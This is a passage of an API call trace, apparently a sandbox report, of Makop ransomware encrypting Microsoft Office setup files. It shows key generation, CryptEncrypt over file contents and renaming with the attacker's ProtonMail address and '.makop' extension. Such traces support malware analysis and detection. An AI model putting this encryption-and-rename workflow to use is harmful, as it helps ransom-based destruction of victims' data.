lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.729] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.729] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.730] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.730] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.730] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.730] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x333, lpOverlapped=0x0) returned 1 [0091.730] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x340, dwBufLen=0x340 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x340) returned 1 [0091.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.731] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x340, lpOverlapped=0x0) returned 1 [0091.731] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.731] SetEndOfFile (hFile=0x114) returned 1 [0091.737] GetProcessHeap () returned 0x48a0000 [0091.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.737] GetProcessHeap () returned 0x48a0000 [0091.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.737] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 156 [0091.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.738] CloseHandle (hObject=0x114) returned 1 [0091.739] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0091.739] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0091.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.741] GetProcessHeap () returned 0x48a0000 [0091.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.741] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.741] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.741] GetProcessHeap () returned 0x48a0000 [0091.741] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.741] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0091.741] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.742] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0091.745] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.746] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.746] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.746] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.746] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.746] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.747] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0xa40, lpOverlapped=0x0) returned 1 [0091.747] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0xa40, dwBufLen=0xa40 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0xa40) returned 1 [0091.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.747] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0xa40, lpOverlapped=0x0) returned 1 [0091.747] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.747] SetEndOfFile (hFile=0x114) returned 1 [0091.753] GetProcessHeap () returned 0x48a0000 [0091.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.753] GetProcessHeap () returned 0x48a0000 [0091.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.753] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 149 [0091.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.754] CloseHandle (hObject=0x114) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0091.755] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0091.755] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91 [0091.755] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*") returned 95 [0091.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0091.756] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.757] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0091.757] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0091.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.757] GetProcessHeap () returned 0x48a0000 [0091.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.757] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.758] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x3, lpOverlapped=0x0) returned 1 [0091.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.761] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.762] GetProcessHeap () returned 0x48a0000 [0091.762] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.762] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.762] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.762] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.762] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.762] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.762] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.763] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.763] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.763] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.763] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x61d, lpOverlapped=0x0) returned 1 [0091.763] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x620) returned 1 [0091.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.763] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x620, lpOverlapped=0x0) returned 1 [0091.763] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.764] SetEndOfFile (hFile=0x114) returned 1 [0091.770] GetProcessHeap () returned 0x48a0000 [0091.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.770] GetProcessHeap () returned 0x48a0000 [0091.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.770] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0091.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.772] CloseHandle (hObject=0x114) returned 1 [0091.772] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0091.772] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0091.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.774] GetProcessHeap () returned 0x48a0000 [0091.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.774] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.781] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.781] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.781] GetProcessHeap () returned 0x48a0000 [0091.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.781] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0091.781] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.781] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0091.782] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.782] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.782] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.782] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.783] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.783] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x8f8, lpOverlapped=0x0) returned 1 [0091.783] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x900) returned 1 [0091.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.783] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x900, lpOverlapped=0x0) returned 1 [0091.783] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.783] SetEndOfFile (hFile=0x114) returned 1 [0091.790] GetProcessHeap () returned 0x48a0000 [0091.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.790] GetProcessHeap () returned 0x48a0000 [0091.790] HeapFree (in: hHeap=0x48a0000, 